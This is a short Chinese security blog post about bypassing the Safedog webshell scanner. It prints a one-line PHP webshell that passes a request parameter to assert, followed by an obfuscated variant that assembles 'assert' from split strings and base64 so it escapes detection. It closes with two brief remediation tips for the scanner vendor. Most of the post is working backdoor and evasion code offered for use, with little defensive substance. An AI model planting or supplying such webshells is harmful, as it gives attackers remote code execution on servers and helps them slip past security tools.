奇淫巧技绕过安全狗webshell查杀及修复建议

奇淫巧技绕过安全狗webshell查杀及修复建议 - 网站

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 测试环境：windows2003安全狗版本：iis3 3最新版原形?php assert($_REQUEST[AG]);?处理掉assert的函数原形即可绕过?php $jm= 39;MQ== 39;;$s=base64_decode($jm);$a=a *- *-* ss *- *-* er *-...

测试环境：windows2003

安全狗版本：iis3.3最新版

原形

<?php assert($_REQUEST["AG"]);?>

处理掉assert的函数原形即可绕过

<?php 

$jm='MQ==';

$s=base64_decode($jm);

$a="a"./*-/*-*/"ss"./*-/*-*/"er"./*-/*-*/"t";

$b=base64_encode($a); 

$c=base64_decode($b);

$c($_REQUEST[$s]);

?>

修复方案：

#1.增加相应的查杀库

#2.用正则过滤掉垃圾字符再用特征库识别效果会好一些

药房网APP某处横向权限问题及修复 - 网站安全

网易邮箱某处XXE可读取文件 - 网站安全 - 自学p

子栏目

奇淫巧技绕过安全狗webshell查杀及修复建议 - 网站

修复方案：

最新评论

添加评论

更多文章推荐

添加评论